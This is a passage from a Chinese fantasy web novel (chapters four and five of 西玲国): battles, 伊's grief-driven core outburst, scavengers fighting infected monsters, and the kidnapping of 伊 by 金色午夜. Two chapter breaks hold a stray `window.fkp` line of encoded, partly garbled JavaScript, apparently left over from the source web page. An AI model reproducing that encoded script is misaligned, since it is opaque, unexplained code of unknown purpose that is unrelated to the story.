“太好了!是你!冥河使者,想不到你竟然来这里了。” 冥河使者: “我以此求道忽有灵,汝无干,我欲成吾事。我住不多时,尚多忽灵待我。” 殇: “额......好吧。你就暂时帮我看住她吧,毕竟你也有任务。我知道你的冥河烧灯可以驱散这些怪物。” 冥河使者: “可,你既无恶意,我亦可助守,一引而尽其神,则去。” 殇: “行!” 殇走到冥河使者的身旁,把背上的伊平放在地上,然后拔出腰间的生或死,做好了战斗的准备。就在这时,几个身形魁梧的大理石肌肉男从黑暗之中走出,他们面带微笑,揉搓着自己的拳头,看样子是想要了殇的命。 殇很不屑地说: “哦?大理石柱人是吗?” 大理石柱人A: “少看不起人了,你这个狂妄之人。” 大理石柱人b: “你曾是我们所有人的榜样,可是现在的你连自己的身体都没有了。” 大理石柱人c: “既然让我们逮到了,那么就让我们这些大理石战士......” 许多大理石柱人从黑暗之中走了出来,他们握紧双拳,面目狰狞,咬牙切齿,恨不得把殇一遍又一遍地撕成碎块。 大理石柱人们: “把你碾成碎末吧!” 这些大理石柱人冲向了殇。 殇: “看样子你们还是没变。但是......你们忘记了一点......” 殇大摇大摆地迎着这些大理石柱人走了过去。 殇: “永远不要挡一个强者的路。” 殇一个冲刺来到了这些大理石柱人的面前,他毫无畏惧,他的眼神之中满是强者的自信与对这些不自量力的柱人的轻蔑。殇一刀刀地斩杀着这些不自量力的柱人,他们同伴一个个地倒下就是对他们弱小最好的证明。殇如同闪电一样在柱人群之中穿梭,他所经过的地方都有柱人倒下,他每一刀都直击要害,刀刀致命,没有一刀白白挥出。在一番苦战之后,殇毫发无损地取得了胜利。在战斗结束后,殇站在原地静静地感受着周围的宁静。微风吹过他的身体,星光与月光照耀着他,许多的尘埃在风中飞舞,周围静的出奇,仿佛一切都从未发生过。 ...... 宙级洪流: “我的王啊......你知道吗?时间重启了许多次,‘时间’也重启了许多次。我见到了你所创造出的各种结局,有痛苦、有哀伤、有怪诞、有悲凉、唯独没有一个世界是好的。” “哎,你......真的可以为我们带来一个好的世界吗?你可能不记得那些了局,但我记得却很清楚。这次有所不同,你直接遇到了她,也许......这次,你可以改变一切。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 西玲国—第四话:事态转变 当伊再次睁开眼睛的时候,她正在一座桥上站着,她的面前是一位拿着灯的冥河使者。桥上的灯笼发出幽蓝色的灯光,周围一片漆黑,唯有这座桥上有着光芒。 冥河使者: “伊,惟也引路人。跟我来,我教你魂空蒙。” 伊有些害怕地问道: “你是......我的引路人?” 冥河使者: “然。” 冥河使者转过身去,提着灯向着桥的另一头走去。伊出于好奇,也跟了上去。伊跟着冥河使者走了一会,她惊奇地发现周围的地面变成了她熟悉的家的地板,又过了一会,温暖的风吹过了她的身体,阵阵食物的香气从前方传出。一切都是那么熟悉,她仿佛回到了自己的家。冥河使者的身影渐渐消失了,周围的情景也渐渐变成了家的模样。 伊娜: “伊......” 伊听到了自己母亲的声音,她定睛看向前方,发现她的母亲正背对着她站在远方。她看到母亲之后很是激动,她的眼角流出了激动的泪水,她快步跑向自己的母亲,想要紧紧地抱住自己的母亲。可是无论她无论怎么跑,她的母亲永远距离她那么远。 伊娜: “我的孩子,很高兴在这里见到你。我知道你很想我,可是现在不是时候......” 伊仍在奔跑,她伸出了自己的手,她想要用手触摸伊娜。 伊: “不!” 伊娜: “伊,很抱歉让你承担这一切。为了我和我父亲的梦想,为了拯救所有人,只能委屈你了。” 伊: “不!我不想承担这些,我只想跟你快乐地生活下去。妈妈......不要离开我。” 伊娜: “伊,妈妈相信你可以做到的。当光之树结开出花朵的时候,妈妈就回到你身边。” 伊娜转过身来看着伊,她的表情是那么的慈祥,是那么的温柔,伊永远都不会忘记那个表情,因为那是她妈妈最美丽的样子。伊娜与伊的距离突然变得越来越近,最后两人之间只有不到一米的距离,可谓是一步之遥。伊张开双臂想要拥抱伊娜,伊娜也张开了双臂想要拥抱伊,就在两人即将抱在一起的时候,伊娜突然化成了许多发着光的碎片,随风飘散了。伊什么也没抱到,就连一粒灰尘也没抱住。她无力地跪倒在了地上,她低着头看着地面,她陷入了迷茫。 伊流着泪,说: “不!为什么......为什么!” 伊睁开了双眼,这次与以往不一样,她这次醒来时伴随着强大能量涌动。她的双眼开始闪烁金色的光芒,她体内的能量正在以极快的速度增长着。 殇见伊这样,有些疑惑地问: “伊?你怎么了?” 接着话锋一转,微笑着说: “看你这样,应该是好得差不多了。” 这时,小鸟看出了端倪。小鸟提醒殇: “殇,伊看起来好像有些不对劲。” 伊露出了生气的表情,她的表情之中有着许多的不满与怒火。她很生气,不知为何。 伊咬牙切齿,说: “无意义的,一切都是无意义的!我不想承担这一切,因为这一切没有意义!我能做什么?我除了拖后腿以外什么也做不了!” 殇: “伊......” 伊的身上开始出现一些扭曲的幻影,那些看起来好像是盔甲,又好像是衣服。 伊瞪着殇,指责殇: “都怪你!你不该出现的,你阻挡了我迷失与堕落的道路。想要活下去,我必须杀了你!不然......一个懦弱的人是活不下去的。这个世界只有杀与被杀的关系!” 伊的身上的扭曲幻影越来越多了,她周围的能量场也越来越强大了。这股能量异常的强大,殇隐约觉得这股能量似曾相识。 此时,殇的眼前出现了伊的记忆。 伊娜温柔地笑着,对年幼的伊说: “孩子!吃饭了。” 伊笑着应答道: “知道了,妈妈。” 伊和伊娜坐在了家中的餐桌上吃着晚饭。就在这时,伊娜突然起身走向自己的房间。 伊见了,好奇地问: “妈妈,你干什么去?” 伊娜温柔地笑着,回答: “你先闭上眼睛,等妈妈说睁开的时候你再睁开。” 伊点点头,说: “好。” 伊闭上了眼睛。过来一会,伊娜回到了餐桌上。 伊娜: “睁开眼睛吧。” 伊缓缓睁开了眼睛,她看到了一个生日蛋糕摆在了桌子上。她那时还没见过生日蛋糕,更不知道生日蛋糕是个什么东西。 伊好奇地问: “妈妈,这是什么啊?” 伊娜温柔地解释道: “这是生日蛋糕,是妈妈特意为你买的。” “生日蛋糕?好吃吗?” “当然了。” “妈妈,那可以天天吃吗?” “不可以的,伊。生日蛋糕只有在你生日的这一天才可以吃的哦。” 伊好奇地问: “妈妈,什么是生日?” 伊娜温柔地解释道: “生日就是你生下来的那一天。伊,记住你的生日是6月13日那天。” “记住了,妈妈。” 伊娜点燃了一根火柴,接着点燃了生日蛋糕上的蜡烛。她用手摸了摸伊的头,然后关掉了灯,让周围暗下来了。伊是有些怕黑的,所以她在看到周围变黑之后就有些害怕。伊娜走到伊的身旁,她把手放在了伊的肩上。 伊有些害怕地说: “妈妈,我怕黑。” 伊娜: “别怕,妈妈在这里呢。。” 伊娜指着正在燃烧的蜡烛,轻声地说: “看到那个蜡烛了吗?一会你把它吹灭,然后闭着眼在心里默默许下一个愿望,当明年鲜花盛开的时候,这个愿望就会实现的” 伊好奇地问: “真的吗?” 伊娜笑着回答: “当然是真的。” 伊高兴地拍拍手,鼓起勇气来,说: “那我就吹蜡烛了,吹蜡烛了。” 伊娜: “吹吧,我亲爱的小天使。” 伊吹灭了这个蜡烛,然后闭着眼在心中许下了一个愿望。 “我想要和妈妈永远快乐生活在一起。” 当伊再次睁开眼睛的时候,眼前的景象变成了实验室,她的面前是一个比那时候的还要大上许多倍的生日蛋糕,许多奢华的装饰装饰着这块蛋糕,但是即使这样,这块蛋糕对于她来说还不如当初的那块小蛋糕。餐桌上就只剩下了她一人,昔日的影子已经消失了。桌子上的饭菜早就凉透了,那些山珍海味让伊丝毫提不起兴趣,甚至感觉有点恶心。 碧蓝苍穹微笑着问伊: “怎么?不喜欢吗?” 伊极其不满地说: “何止是不满意,这些东西让我感到恶心。” 碧蓝苍穹微笑着说: “哦,是这样吗?一会我就把那个厨子处理掉,换个厨子给你做菜。” 一听这话,伊非常来气。伊对碧蓝苍穹喊道: “你可不可以别老换厨子了!我要的不是这桌山珍海味!我只想要我的妈妈回到我身边!” 碧蓝苍穹微笑着说: “你说是就是,那么那个厨子就不走了,以后还是她给你做菜。” “你出去吧,让我一个人在这里静一会。” 伊独自一人在这桌山珍海味面前捂着头头疼了许久,一方面是对碧蓝苍穹以及那些无聊的实验项目的厌恶,另一方面就是她对母亲的那种强烈的想念。她看着天花板陷入了沉思,这是她不知道多少次这样了,每当这个时候,她都会回想起她与母亲的种种快乐经历,每当想到这些,她都会在没人的时候偷偷流泪。 伊流着泪,哭诉道: “妈妈,我想你了。你什么时候可以回来?我想抱抱你,我想跟你快乐地生活在一起。你不是说我在生日蛋糕前许下的愿望就会在明年鲜花盛开的时候实现吗?可是鲜花都凋零了许多次了,你怎么还不回来......妈妈......你回来吧。” 伊的核心之中传出了警报,强大的能量正在她的核心之中涌动着。 伊的核心: “警告!核心能量控制系统出错!核心能量超出控制范围!请周围非战斗人员立即撤离!请专业的核心使者前来抑制核心暴走!” 伊瞬间变了样子,她的全身都变成了之前的装束,只不过这身装束已经被烈火烧成了焦黑色,而且这身装束还在燃烧着火焰。伊戴上了一双黑色的手套,黑色的手套之上还燃烧着烈焰。伊的长发下面的一小部分变成了焦黑色,同时她的那些发卡全部消失了,取而代之的是别在她头上的一根正在燃烧的火柴。 伊咬紧牙关,缓缓地直起腰版,如一位战士一样挺立在殇的面前。伊深情地说: “烈火点燃我活下去的希望,蜡烛承载着我的愿望,当蜡烛熄灭之时,即是愿望破碎之时。我将化作一根承载愿望的蜡烛,永远地燃烧下去。” 周围的枯草被伊身上的猛火点着了,这些枯草就如同一根根蜡烛一样燃烧,这些火光,承载了伊心中的愿望。 伊哀笑道: “只要蜡烛不熄灭,我的愿望就永远不会消失,我的妈妈就会永远陪在我身边!只要我可以一直让蜡烛燃烧,我就永远可以沉浸在那一刻。温暖,永恒的温暖......” 伊突然变脸,神情坚定地说: “妈妈......我会让你骄傲的。我将证明自己,我将化作光明。” 伊不再信任殇了,她要开始进攻了。 周围的空气开始焦灼起来,阵阵热风吹过此处,让本就猛烈的烈火燃烧得更加剧烈。零散的碎叶子飘落在附近,站在殇面前的是一个想要证明自己的一个脆弱姑娘。 伊狂妄地笑了笑,说: “殇,就由你来担任我今天点燃的第一根蜡烛吧。” 殇有些苦恼地说: “哎呀,既然话都说到这个份子上了,那就别怪我无情了。想要抑制核心,只有等或者打这两种办法,而我比较喜欢后者。” 殇把腰间的生或死往身后一扔,接着狂妄地说: “打败你......连刀都不需要!” 伊一听这话,即刻愤怒。她没办法接受这种侮辱,她不允许其他人践踏她美好的愿望。 伊的右手上方出现了一根燃烧着的悬空大火柴,那根大火柴开始进行有规律的转圈,以此来向殇展示她的一部分实力。殇并没有理会,而是双手握拳做好了战斗的准备。伊对着殇伸出了自己的左手,许多根燃烧着熊熊烈火的大火柴出现在伊的身后,接着伊对着殇挥了一下左手,这些大火柴都一起飞向了殇。殇瞬间计算好这些火柴的运动规则,他做好了瞬间反应的准备,在火柴飞过来的瞬间,他连续几拳击碎了所有火柴。他借着火柴被击碎瞬间出现的阻挡视野的火圈,在瞬间做好了冲刺架势,在火圈消失的瞬间,一个隼之冲刺打在了伊的身上,伊直接被击飞出去四五米。他打完这一拳后顿了一下,他测算了一下自己使用的力道,接着计算了一下伊的核心大约能产生的能量,他得到了一个结论,就是再来三下就可以让伊变回原来的样子了。 伊抓准这个宝贵的机会,对着地面使劲跺了下脚,许多如同尖刺一样的燃着火柴从地面刺出,它们以一条直线袭向殇。殇很淡定地一跃而起,压低身体,一个落地猛冲击碎周围的地面,产生的冲击波直接震碎了这些火柴。殇抓起地上的一块石头,一个转身扔向伊,伊见到后一个侧闪躲开了这个石头,就在这个瞬间,殇已经来到了她的近前了。殇一个上勾拳直接打飞了伊,伊被这一下差点打晕过去,她在空中转体三圈后一个后空翻落地,落地后还后撤了几步来缓冲冲击力,可见这一拳的威力之大。伊落地后全身开始剧烈燃烧,她的双眼发出了耀眼的光芒,她的身后出现了熊熊烈火,她握紧了双拳,她的双拳之上也燃烧着烈火。 殇对伊嘲讽道: “哦?生气了吗?你生气的样子可真是可爱呢。” 伊气愤地说: “给我去死吧!” 伊高举双手,用力拍向地面,许多烈火随着这一下从地面喷涌而出,不止这些,天空中也开始降下火焰,面对此景,殇露出了自信的笑容。在一个最合适的时机,殇一个隼之冲刺躲开所有攻击,在一顿快速左右横跳之后来到伊的面前,他一个回旋踢踢向伊,伊交叉双臂抵挡这一击。这一击威力不小,直接给伊手臂上的衣服撕开了一个大口子,同时鲜血从这里飞溅出来,她接下这一击后后退了几步。就在她想要发动下一次攻击的时候,殇瞬间来到了她的面前,他用手托住伊的下巴,气氛一下子就尴尬了起来。伊一脸惊讶地看着殇,殇一脸淡定地看着伊。 殇又嘲讽道: “就在这点时间之中都没办法挣脱我这最温柔的攻击吗?你太菜了,菜鸟。” 殇用力把伊往空中一扔,伊的意识还没跟上殇的速度,她本人还是属于发懵状态。殇微微压低身体,一跃而起来到伊的上方。他举起左手,张开五指,就像拍皮球一样拍了一下伊的头,接着伊重重地砸在了地面之上。殇一个落地猛冲潇洒落地,他拍了拍身上的尘土,缓缓地走向了正跪倒在地上的伊。 此时,殇的面前出现了伊的内心世界。 伊缓缓坠入了无尽的黑暗深渊之中,她的眼神很是空洞,她就静静地等待着自己归于黑暗的深渊,她此刻失去了反抗黑暗的决心与意志。就在这时,一道微弱的光芒照在了她的脸上,让她空洞的双眼之中有了一丝生气。她仔细一看,那光芒之中是母亲的身影。 伊娜温柔地说: “伊......别害怕,妈妈在这里。” 伊无力地说: “妈......妈妈?是你吗?” “是我......是我啊,孩子。” “妈妈,你在哪里?我想你了。” “孩子......我一直就在你身边。” “我身边?可是我除了黑暗以外什么也看不见。” “看到你面前的微光了吗?那个就是我。妈妈,化作了光芒时时刻刻照耀着你,让你生活在光芒之下,让你不被黑暗所侵蚀。” 伊露出无力的笑容,问她的母亲: “真的吗?” 伊娜温柔地回答道: “真的。只要有光的地方就有妈妈,妈妈从未离开过你。” “妈妈......我知道了,有光的地方就有你,那我就要让光明降临在这个世界之上,这样您就可以一直陪在我身边了。对吗?妈妈。” “对,我的孩子。当光明降临世间之时,我就回到你身边,我们两个快乐地生活下去好不好?” “好......” 伊试着在黑暗之中起身,但是她无论她怎么动,她都动不了。就在这时,她回想起了自己母亲在很久以前对自己说的话,她闭上了眼睛,双手捂着胸口,然后一道耀眼的光芒从她的胸口处发出。伊娜的声音回响在她身旁的黑暗之中,指引着她找到那份耀眼的光明。 “孩子,如果所有的光明都消失了,那么你就要成为唯一的光......因为只有光明可以驱散黑暗,只有光明才可以让深陷黑暗中的人们像你一样发出光芒......即使每个人都跟尘埃一样,但只要每个人都像星辰一样发光,那么光明就会永驻世间。” 伊松开捂着胸口的双手,她看到了母亲口中的光芒,这光就在她的心中闪耀着,如同宇宙之中的繁星一样。这光是那么耀眼,那么温暖,它所照耀的地方都没有黑暗,都没有寒冷。 伊闭上眼睛,静静感受光的温暖。接着,她说: “妈妈......我明白了。” 伊睁开眼睛,神情坚定地说: “若世间没有光,我便是那唯一的光。我会让你和爷爷的梦想成真的!我不会让你们失望的!” 就在这个时候,一个发着光芒的人对正在一直下坠的她伸出了援手。她看向这个身影,她与这个身影对视了一秒,然后她抓住了这个身影的手。周围突然变白了,黑暗消失了。 光之种子已经复苏。 光之种子萌芽程度0% 核心: “能量回归到可控范围,核心抑制行动成功。” 伊拉着殇的手站了起来,她很愧疚地看了看殇,又看了看被自己烧毁的地面,她现在愧疚极了。 殇不计较刚刚发生的那一切,他拉起伊后的第一件事就是用关怀的语气对她说: “没事吧?伊。” 见殇如此,伊很愧疚的说: “那个......对不起......非常抱歉,是我错了。我不该那样做的,我不该伤害你的。” “哈?不是你被我单方面吊打吗?——不管了......既然你变回来了,那这件事就不追究了。” 这时,伊注意到了周围环境发生了变化。伊问殇: “对了,殇,这里是哪里?” 殇解释道: “这里是巨石林外面的又一片平原,我们现在所处的地方是这里还算比较安全的地方。” 伊看了看天,然后说道: “现在都已经是白天了......” 伊低下头来,问殇: “殇,我们还要走多远才能离开这个国家?” 殇若有所思地想了一会,然后告诉伊: “好像再走过这个平原和附近的一个小镇就可以到达离岛的港口了。” “那我们还要走多久?” “好像还需要一两天时间。” 此时伊听到了远处阵阵轰鸣声,她看向远处,她看到了许多小黑点正在向着这里运动着。 伊指着远处的黑点,好奇地问道: “殇,那是什么?” 殇认出了它们,惊讶地说: “不好,那是清道夫的车队。” 此时另一边的平原上传来阵阵咆哮声,殇和伊转头看去,他们看到了许多的绿毛怪正在成群结队地冲向清道夫的车队。 清道夫那边...... 车队的轰鸣声震耳欲聋,浓浓的黑烟从汽车的排气管中派出,他们车队所经之处,即是感染者的血染之地。今天的这些受害者很不幸,他们这次遇到的是一只规模不大但是实力雄厚的专业清道夫。这些清道夫声势浩大,犹如能够击碎一切的浪潮。 黑色星期三: “兄弟们!猎杀时间到了!全员就位,准备撕碎这群野兽!” 清道夫们: “是!老大。” 这些清道夫拿起了自己车上的武器,做好了战斗的准备。他们拿着各式各样的兵器,例如长枪、锯齿刀、碎骨锤、链刃、攻城弩、流星锤、碎肉大刀、臂刃、月刃、战戟、大剑、铁棒、狼牙棒。这些武器象征着他们不凡的实力与残暴的性格,汽车的轰鸣声象征着他们为了自己与家人活下去的那种决心。他们是社会的最底层人民,为了活下去什么都做的出来。 黑色星期三: “攻城弩就位!攻城弩打完弹药之后全部司机停车,所有清道夫拿着武器跟着我开始进行今天的清扫工作!” 清道夫们: “好!” 清道夫的车队开始减速,他们车上的攻城弩上好了一发战矛,在操作员熟练的操作下,攻城弩瞄准好了目标。在黑色星期三的一声令下之后,所有攻城弩对准这些绿毛怪发射了许多战矛,这些战矛威力巨大,直接贯穿了一群张牙舞爪的绿毛怪,顿时形成了一片血舞以及血肉横飞的壮观景象,远处看着的殇和伊见到后都惊住了,而这些清道夫什么表情都没有,因为这都是习以为常的事了。 黑色星期三: “干得漂亮!兄弟们!做好准备,准备停车,我们下去干他妈的。” 清道夫们: “好!干他妈的!” 清道夫们的车缓缓停在了这些绿毛怪的前方,清道夫们拿着武器从车上跳下,他们面对这如同浪潮般的绿毛怪没有一丝畏惧,他们反倒变得更加勇敢。清道夫们拿着各式各样的武器冲向了这些绿毛怪,他们用手中的武器狠狠地撕碎了任何靠近他们的绿毛怪,顿时又是一片血雾与血肉横飞的景象,他们无所畏惧地在绿毛怪的浪潮之中穿梭着,宛如一颗击穿血肉的子弹。清道夫们面对这种血肉横飞的场面没有一丝畏惧,他们反倒还很享受这种屠杀的快感。一想到当自己辛辛苦苦干了一天带着钱与食物回到家与家人团聚的时候的样子,这些清道夫就没什么可怕的了,只要是为了家人,他们愿意豁出一切。 在殇与伊这边...... 伊面色难看地说: “咦......好恶心啊。这就是底层人民清道夫的生活吗?真是想都不敢想啊。” 殇点点头,说: “说实话,确实有点恶心。但是他们也是没办法的,毕竟他们还有家里人要养活,他们不做谁来做?谁来养活他们的家人?” 听殇这么说,伊好奇地问道: “他们难道不可以通过读书来找到好工作吗?” 殇告诉伊: “你可能有所不知,凤岭区的人是没钱去地平区上学的,他们想要通过学习来实现梦想是不可能的。除了政府免费让上的义务教育6年以外,他们压根就没经历过读书时光。他们能做的,就是在这个冷酷无情的世界之中活下去,哪怕是踩着别人的尸体。” 听完这些,伊非常震惊。伊问: “为什么要这样?!” 殇无奈地说: “因为凤岭区是疫病威胁潜在区,是穷人居住的地方。他们可不像你这种生活在地平区或者穹顶区的人一样可以靠读书来实现他们的梦想,他们要做的比你们简单,他们的梦想比你们的更容易实现。你们追求的是音乐、艺术、金钱、快乐、感情与各种梦想,你们会因为你们的成绩与所居住的地方而发愁,有的甚至自杀。你们时时刻刻注意自己的条件与生活,有一点不顺心就发愁。而他们追求的只有三个字:活下去,跟家人一起,无论生活怎样,无论快不快乐,无论住在哪里,只要活下去就已经知足了。” “有没有办法可以改变这一切呢?” “我......不知道。也许有,也许没有。” “我觉得......我可以改变一切。” “为什么?因为你是光......咳咳!——因为你是一个自认为可以改变一切的人吗?” “想必你也知道了。我就是所有人梦寐以求的光之种子,我是能够改变一切的人。” “哎......被发现了。实际上,我从见到你的那一刻就看出你的身份了。” “那你为什么不杀了我取出我的核心呢?这样不是让你可以变强吗?” “也对......我可以取出你的核心来变强,可是那没有意义。作为一个真男人,我可不会为了变强而杀死一个弱到不行的菜鸡,只有强者才配让我做出那种事。而且......我想做出一些改变......” 此时突然有一个人突然出现在伊的身后,她一把勒住伊的脖子,用手中的枪指着伊的脑袋。 伊: “啊!” ???: “闭嘴,小姑娘。” 殇: “你是谁?你要做什么?” 金色午夜: “在下金色午夜,是来带她走的。” 殇: “哦?想带她走?那可不行,她还差我一条命呢。” 此时一把飞刀从殇的背后飞向殇,殇将身一侧躲开了这把飞刀。 清道夫A: “该死,没暗杀成功。” 殇回头一看,他看到了清道夫只听过没见过的群体真正的样子。他身穿一身深蓝色色的老式朋克金属装甲,身后背着两个巨大的储罐,一个是氧气,一个是他们要收集的特殊物质。他的左臂是金属假肢,看起来有很长一段时间没换了。他的盔甲上印着碧蓝苍穹的集团图标,一看就是碧蓝苍穹的打工人。他面部的盔甲有一部分是玻璃的,可以从外面看到他里面那张沧桑与黝黑的脸。 金色午夜: “感谢你的帮助,保重,我先走了。” 金色午夜用手中的枪敲晕了伊,然后背起伊逃离了这里。殇看了看逃跑的金色午夜,又看了看这个清道夫。 殇: “老哥,放下武器吧,你还有家里人要养,你没必要跟我战斗的。” 清道夫A: “你这老奸巨猾的混蛋!少他妈跟我扯淡!你真当我们不知道你是谁是吗?” “看样子,你们清道夫知道很多啊。” “你曾是我们的榜样,可是你却堕落了,你现在只是一个彻头彻尾的骗子!今天,我要为所有死在这里的亲朋好友报仇!” 他握紧了手中的锯齿刀,看样子已是蓄势待发。在开始战斗前,殇问他: “你就一个吗?” 他摇摇头,说: “不,一会大哥他们就会过来帮我的。” 殇叹了口气,说: “哎......活着不好吗?告诉你大哥,来的时候少带点人,我怕给你们都杀光了。” 他苦笑着说: “那又如何......只要我们有一个人可以杀死你,我们所有家人的仇......都可以报了。” 殇阴下脸来,说: “好吧......希望你们可以撑到最后。” ...... 宙级洪流: “看样子......事情很顺利,光之种子成功激活了。” “但是......我还是有些担心。毕竟我目睹了那么多的惨案,我仍心有余悸。希望这次他会选择一条正确的道路,别让我们的人民再失望了。绝望的事已经太多,太多了......” “我的王啊,我相信你肯定会重新给我们带来光明的。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 西玲国—第五话:金色午夜 金色午夜背着伊走走停停一路来到了最近的小镇的一栋大楼之中。她把伊的双手双脚用绳子绑上,然后把她放在了墙边。金色午夜大量了一番伊,她并没有看出端倪。她用手摸了摸伊的脸蛋,又戳了戳伊的头,她实在没办法理解为什么要通缉这个看起来人畜无害的大姐姐。 金色午夜: “奇怪了,她也不是什么富家子弟,她也不算是个强者,为什么他们要通缉她呢?——不管了,反正到时候都要拿她去换钱。” 她此时想到了在楼上的弟弟,她不再思考有关伊的问题,转身向着楼上走去。就在她要上楼的时候,伊从昏迷之中醒了过来,她看到了金色午夜的背影,她想说些什么,但是下一秒一只手捂住了她的嘴。她转头看去,是一个有着蓬松短发的戴呼吸面具的小男孩捂住了她的嘴。那个男孩小声说道: “大姐姐,别出声。让我来帮你吧。” 这个小男孩用匕首切开了伊双手双脚上的绳子。看着这个小男孩那只长了许多水泡的颤抖的手,她似乎看到了疫病的影子。在绳子被切断之后,伊小心翼翼地站了起来,她看着眼前这个快有自己高的瘦弱男孩的身影,心中有些感激。 那个男孩小声地说: “大姐姐,你快跟我走,我带你离开这里。” 他又看了看周围。 “一会要是被我姐姐发现就不好了。” 伊点点头,小声说道: “好。” 这个小男孩带领着伊小心翼翼地沿着一条避开她姐姐巡查路线的道路向着楼下前进。这一路上伊透过窗户看到了许多令她背后发凉的景象,这让她这个来自穹顶区的大小姐看到了这世间黑暗处真正的模样。曾经繁华的小镇在疫病的摧残下变成了寂静的地狱,曾经热闹的大街变成了寂静的废墟。 这种疫病很可怕,就连如食腐动物甚至是昆虫这种生命力顽强的生物都扛不住疫病的摧残,它们早就死在了这场疫灾之中。曾经住着人的拥挤房屋之中只剩下了空无一人的房间与骇人的寂静,曾经有着欢声笑语的学校只剩下了倒塌一半的教学楼与教学楼内布满灰尘的尸骸与书本,曾经承载着希望的商业大街只剩下了空无一人的寂静与被灰尘所掩埋的金钱,往日的生气已经消逝的无影无踪。这里还能看出这里是拥有繁华气息的,也就只有在时代广场之上的那尊殇王国国王殇的雕像,可就连这个雕像也耐不住疫病的侵蚀,棱角全部被磨平了,用黄金制成的殇字变成了碎渣,原本闭着的眼睛活生生被扒开了,或者说是眼皮那部分被侵蚀掉了。真是讽刺啊,这里所有的雕塑都被腐蚀掉了,就连那些后雕出来的雕像也被腐蚀掉了,而只有这尊国王的雕像没有被腐蚀掉。 阵阵阴凉的寒风吹过,激起了一地的尘土,顿时尘土满天飞扬,一阵阵携带着尘土的风吹过这尊雕像的身旁,试图吹倒这尊雕像,但是无论这风怎么吹,这尊雕像依旧不为所动。伊不禁背后一凉,流出了冷汗,虽然她没有被风吹到,但她可以从心中感受到外面那阵风的阴冷。 伊心中: “这原来就是这世界真实的模样吗?怪不得我从高楼之上看不到。妈妈说只有最高处的王座之间才可以看到这世间的景象。我原来一直都误解这个世界了,这世上还有我看不到的黑暗,我知道妈妈为什么要研究那个伟大的种子了。” 在这个小男孩的带领下,伊顺利来到了一楼。阵阵携带着尘土的风吹向伊,伊本能地用手臂挡了一下,让风沙没有进到自己的眼中。在风停后,她放下了手臂,打了打身上的尘土,然后看向一旁正在找东西的那个小男孩。她走过去想说些什么,但只见这个小男孩用颤抖的手从箱子中拿出了一个完好无损的清道夫头盔,见到这个东西,伊似乎明白了什么。他转过身来把手中的头盔递给了伊,伊接过头盔掂量了一下,这个头盔很重,就连伊也拿着费劲,更何况眼前这个瘦弱的男孩了。 那个男孩小声说道: “大姐姐,你戴上这个头盔,它能够抵御风沙,它能让你安全离开。” 那个男孩戴上了箱子里的另一个清道夫头盔,紧接着小声对伊说: “跟我走,我带你离开这里。” 伊很感激地说: “谢谢你。——对了,你叫什么名字?” 那个男孩回答道: “我叫狄天明。” 狄天明看了看周围,说: “先不说这么多了,我先带你去可以离开这里小路,然后剩下的路就你自己走下去吧。” 狄天明对伊做了手势,说: “快点。一会我姐姐就追过来了,到时候就有麻烦了。” 伊点了点头,狄天明也点了点头,然后狄天明带着伊在刮着风沙的大街上奔跑,这路上很艰辛,到处都是建筑物的碎块与布满裂缝的道路,他们一边要奔跑,一边要时刻注意路上的种种障碍。 这时,听见金色午夜在两人身后大喊道: “喂!你给我停在那里!别跑!” 伊回头看去,金色午夜拿着两把改造过的割草镰刀向着她冲了过来,金色午夜明显比她们两个跑到要快,她的影子在伊的眼中越来越大了。伊和狄天明也只能继续快速地奔跑来试着甩开金色午夜,但奈何金色午夜的速度实在是太快,她们无论怎么用力跑都跑不过金色午夜。眼看她们之间的距离越来越近,金色午夜即将追上伊和狄天明,就在这时,街上的一栋两层小楼突然发生倾倒,它向着最前面的狄天明砸了过去。 金色午夜: “不好!弟弟!” 金色午夜立刻加快速度准备去救狄天明,但是奈何她太过着急了,她不小心被地上的尸骸绊倒在了地上。她无奈地看着这栋四层小楼砸向自己的弟弟,她试着快速站起来,但是时间已经不够了。此时,伊不顾危险冲向了狄天明,她抱住狄天明加速向前冲去,就在这栋小楼要砸下来的最后时刻,伊成功把狄天明带出了危险,但她也因此晕了过去。 金色午夜十分担心地问狄天明: “弟弟!你没事吧?” 狄天明没在乎自己的状况,而是担心起伊来。狄天明急切地对金色午夜说: “姐姐!我没事......快来!这个大姐姐晕过去了!” 金色午夜一听这话,立刻通过抓钩与攀爬翻过这栋倒下的小楼来到对面。她看到她的弟弟只是受了点轻伤,她立马放下心来。但是当她看到一旁头上流着血晕过去的伊时,她的眼前突然出现了吴阿姨曾经救她时的景象。 狄天明: “姐姐,救救这个大姐姐吧。” 金色午夜: “这个......好吧,谁让她是通缉目标呢?之前的地方肯定不能待了,我们换个地方待着吧......” 金色午夜背起伊,向着最近还算比较安全的废弃银行走了过去...... 以此同时在殇这边...... 殇一个人轮着拳头在清道夫群中穿梭着。他一拳一个地击打着这些清道夫的身体,有时顺带踢几脚,他的身法几乎达到了神话般的水准,他很轻松地躲开了这些清道夫的攻击,不仅如此,他还会通过技巧抢到清道夫手中的武器,并用清道夫的武器来对付清道夫。在一番苦战之后,所有清道夫在殇的周围围成了一个很大的圈,他们每个人手中都拿着武器,做好随时应对他的攻击的准备。就在殇要开始下一轮攻击的时候,那个个头有两米的清道夫黑色星期三戴着两把锯齿长臂刃出现在殇的面前。 黑色星期三: “你这个混蛋,我们没时间跟你耗下去。就由我来跟你一决胜负吧!只要你可以打倒我,就算你赢,我们就不再打扰你,但是如果你输了,你就会死在这里。怎么样?很公平吧?你这个不可救药的老混蛋?” 殇: “行啊,正好我赶时间。” 黑色星期三: “让你尝尝我新买的核心的威力吧!” 殇: “好的,EcL-136,黑色星期三。” 